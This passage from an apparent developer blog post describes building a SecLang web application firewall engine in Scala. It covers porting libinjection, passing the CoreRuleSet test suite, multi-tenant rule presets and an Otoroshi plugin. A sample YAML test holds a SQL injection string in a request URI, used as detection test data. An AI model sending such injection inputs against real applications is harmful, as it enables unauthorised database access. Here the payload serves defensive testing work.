&lt;p&gt;The port took considerable effort—the original C code is 4,000+ lines with lots of pointer arithmetic. My friend Claude’s help was invaluable here, helping me translate idioms and catch edge cases. The result is &lt;a href=&quot;https://github.com/cloud-apim/libinjection-jvm&quot;&gt;libinjection-jvm&lt;/a&gt;, a zero-dependency Java library with full test suite compatibility.&lt;/p&gt;
&lt;h2 id=&quot;part-5-the-coreruleset-test-suite&quot;&gt;Part 5: The CoreRuleSet Test Suite&lt;/h2&gt;
&lt;p&gt;Building the engine was one thing. Proving it worked was another.&lt;/p&gt;
&lt;p&gt;The CoreRuleSet project includes a comprehensive &lt;a href=&quot;https://github.com/coreruleset/coreruleset/tree/main/tests/regression/tests&quot;&gt;test suite&lt;/a&gt; with over 4,000 tests in YAML format:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;test_id&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  desc&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Test SQL injection detection&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  stages&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        method&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;GET&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        uri&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;/test?id=1&apos; OR &apos;1&apos;=&apos;1&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      output&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          expect_ids&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;942100&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I wrote a test runner that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Parses the YAML test definitions&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Constructs &lt;code&gt;RequestContext&lt;/code&gt; objects from the test input&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Runs the engine against the CRS rules&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Verifies the expected outcome (blocked or allowed)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The CRS test suite turned out to be as much a specification of behavior as a validation tool.&lt;/p&gt;
&lt;p&gt;The first run: &lt;strong&gt;40% pass rate&lt;/strong&gt; and after a few hours of simple fixes: &lt;strong&gt;60% pass rate&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Then began the debugging marathon. Some failures were engine bugs. Others were test runner bugs. A few were my misunderstanding of SecLang semantics.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Test: 942100-1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Expected: BLOCKED&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Got: ALLOWED&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Rule: SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|... &quot;@rx (?i)...&quot; ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Issue: Regex flag handling in negative lookahead&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One by one, I fixed issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Regex flags not properly propagated&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;TX variable increment semantics&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Chain evaluation short-circuit logic&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Transformation ordering&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Case sensitivity in header matching&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Phase 5 logging-only rules incorrectly blocking&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This part was an emotional roller coaster—some patches would fix only a single test while others would fix around 200 at once. But after one week of work: &lt;strong&gt;100% pass rate across 4,138 tests&lt;/strong&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;global_stats&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;passing_percentage&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;total_tests&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;4174&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;success_tests&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;4174&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;failure_tests&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;time_stats&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;total_time_ms&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;25945&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;avg_time_ms&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;min_time_ms&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;max_time_ms&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;4242&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;the-apache-problem&quot;&gt;The Apache Problem&lt;/h3&gt;
&lt;p&gt;Here’s something I didn’t anticipate: the official CRS test suite was designed to test ModSecurity + CRS running inside Apache, in a Docker container. The test harness sends real HTTP requests to the container and checks the responses.&lt;/p&gt;
&lt;p&gt;The problem? Some tests weren’t actually testing WAF behavior—they were testing Apache’s behavior. For example, Apache rejects certain malformed requests (invalid characters in URIs, malformed HTTP lines) &lt;em&gt;before&lt;/em&gt; they even reach ModSecurity. The test expected a block, but the block came from Apache, not from CRS rules.&lt;/p&gt;
&lt;p&gt;When running the same tests against a pure SecLang engine with no Apache in front, these tests would fail—not because my engine was wrong, but because the test assumed Apache’s preprocessing.&lt;/p&gt;
&lt;p&gt;Since my test runner evaluates rules directly (no reverse proxy involved), I had to identify these cases and change the acceptance criteria. Instead of checking that the server responds with a 400 status (which would be Apache’s doing), I modified the tests to verify that a specific CRS rule was matched. Same malicious input, but now testing the actual WAF behavior. This work could potentially benefit the upstream CRS project for anyone building alternative SecLang implementations.&lt;/p&gt;
&lt;h2 id=&quot;part-6-the-factory-pattern-for-multi-tenancy&quot;&gt;Part 6: The Factory Pattern for Multi-Tenancy&lt;/h2&gt;
&lt;p&gt;At Cloud APIM, we run multi-tenant infrastructure. Multiple customers can share Otoroshi instances (or use their own), each with their own WAF configurations. We needed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Shared base rules&lt;/strong&gt;: CRS loaded once, shared across all tenants&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Per-tenant customization&lt;/strong&gt;: Each tenant can add/remove rules&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Efficient caching&lt;/strong&gt;: Compiled programs cached and reused&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In practice, multi-tenancy tends to turn configuration into a first-class scalability concern, on par with CPU and memory.&lt;/p&gt;
&lt;p&gt;The solution: a factory pattern with presets.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Define reusable presets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; presets&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; Map&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;crs&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; SecLangPreset&lt;/span&gt;&lt;span&gt;.fromResources(&lt;/span&gt;&lt;span&gt;&quot;crs&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;/coreruleset/crs-setup.conf.example&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;/coreruleset/rules/*.conf&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Create factory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; factory&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; SecLang&lt;/span&gt;&lt;span&gt;.factory(presets)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Tenant-specific configuration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; tenantRules&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;@import_preset crs&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;&quot;&quot;SecRuleRemoveById 942100&quot;&quot;&quot;&lt;/span&gt;&lt;span&gt;,  &lt;/span&gt;&lt;span&gt;// Disable specific rule&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;&quot;&quot;SecRule REQUEST_URI &quot;@contains /health&quot; &quot;id:10001,phase:1,allow,nolog&quot; &quot;&quot;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;SecRuleEngine On&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Get compiled engine (cached)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; engine&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; factory.engine(tenantRules)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The factory:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Compiles each unique rule configuration once&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Caches &lt;code&gt;CompiledProgram&lt;/code&gt; instances with configurable TTL&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Supports rule composition through preset imports&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Thread-safe for concurrent access&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;part-7-otoroshi-integration&quot;&gt;Part 7: Otoroshi Integration&lt;/h2&gt;
&lt;p&gt;The final piece: integrating the engine into &lt;a href=&quot;https://github.com/MAIF/otoroshi&quot;&gt;Otoroshi&lt;/a&gt; as an extension. Otoroshi is an open-source HTTP reverse proxy written in Scala that I created several years ago. One of the main perks of Otoroshi is that it’s a very extensible project where you can easily write and use your own plugins and extensions.&lt;/p&gt;
&lt;h3 id=&quot;the-waf-configuration-entity&quot;&gt;The WAF Configuration Entity&lt;/h3&gt;
&lt;p&gt;With this extension, a new entity becomes available to configure WAF behavior (not an actual WAF instance per se, but you know what I mean). One important aspect here is the ability to toggle body inspection. By design, Otoroshi doesn’t load request or response bodies into memory—it streams them. So there’s a tradeoff: enabling body inspection makes Otoroshi a bit slower and heavier on RAM, but allows the WAF to detect attacks hidden in payloads.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;case&lt;/span&gt;&lt;span&gt; class&lt;/span&gt;&lt;span&gt; CloudApimWafConfig&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  id&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  enabled&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Boolean&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  block&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Boolean&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;,              &lt;/span&gt;&lt;span&gt;// Block vs. monitor-only&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  inspectInputBody&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Boolean&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  inspectOutputBody&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Boolean&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  inputBodyLimit&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Option&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Long&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; None&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  outputBodyLimit&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Option&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Long&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; None&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  outputBodyMimetypes&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Seq&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Seq&lt;/span&gt;&lt;span&gt;.empty,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  rules&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Seq&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Seq&lt;/span&gt;&lt;span&gt;.empty&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Configuration example:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;id&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;waf-config_production&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;name&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Production WAF&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;enabled&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;block&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;inspect_input_body&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;inspect_output_body&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;input_body_limit&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1048576&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;output_body_limit&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1048576&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;output_body_mimetypes&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;&quot;text/html&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;rules&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;@import_preset crs&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;SecRuleRemoveById 942100&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;SecRuleEngine On&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;the-plugin&quot;&gt;The Plugin&lt;/h3&gt;
&lt;p&gt;The plugin hooks into Otoroshi’s request/response pipeline:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;class&lt;/span&gt;&lt;span&gt; CloudApimWaf&lt;/span&gt;&lt;span&gt; extends&lt;/span&gt;&lt;span&gt; NgRequestTransformer&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  override&lt;/span&gt;&lt;span&gt; def&lt;/span&gt;&lt;span&gt; transformRequest&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ctx&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;NgTransformerRequestContext&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; Future&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Either&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Result&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;NgPluginHttpRequest&lt;/span&gt;&lt;span&gt;]] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; wafConfig&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; getConfig(ctx)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; engine&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; ext.factory.engine(wafConfig.rules.toList)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; requestCtx&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; buildRequestContext(ctx.request, ctx.body)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; result&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; engine.evaluate(requestCtx, &lt;/span&gt;&lt;span&gt;List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    result.disposition &lt;/span&gt;&lt;span&gt;match&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Continue&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        ctx.otoroshiRequest.rightf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Block&lt;/span&gt;&lt;span&gt;(status, msg, ruleId) &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; wafConfig.block &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        emitEvent(result, ctx)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        Results&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Status&lt;/span&gt;&lt;span&gt;(status)(buildErrorResponse(msg, ruleId)).leftf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Block&lt;/span&gt;&lt;span&gt;(_, _, _) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        // Monitor mode - log but don&apos;t block&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        emitEvent(result, ctx)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        ctx.otoroshiRequest.rightf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
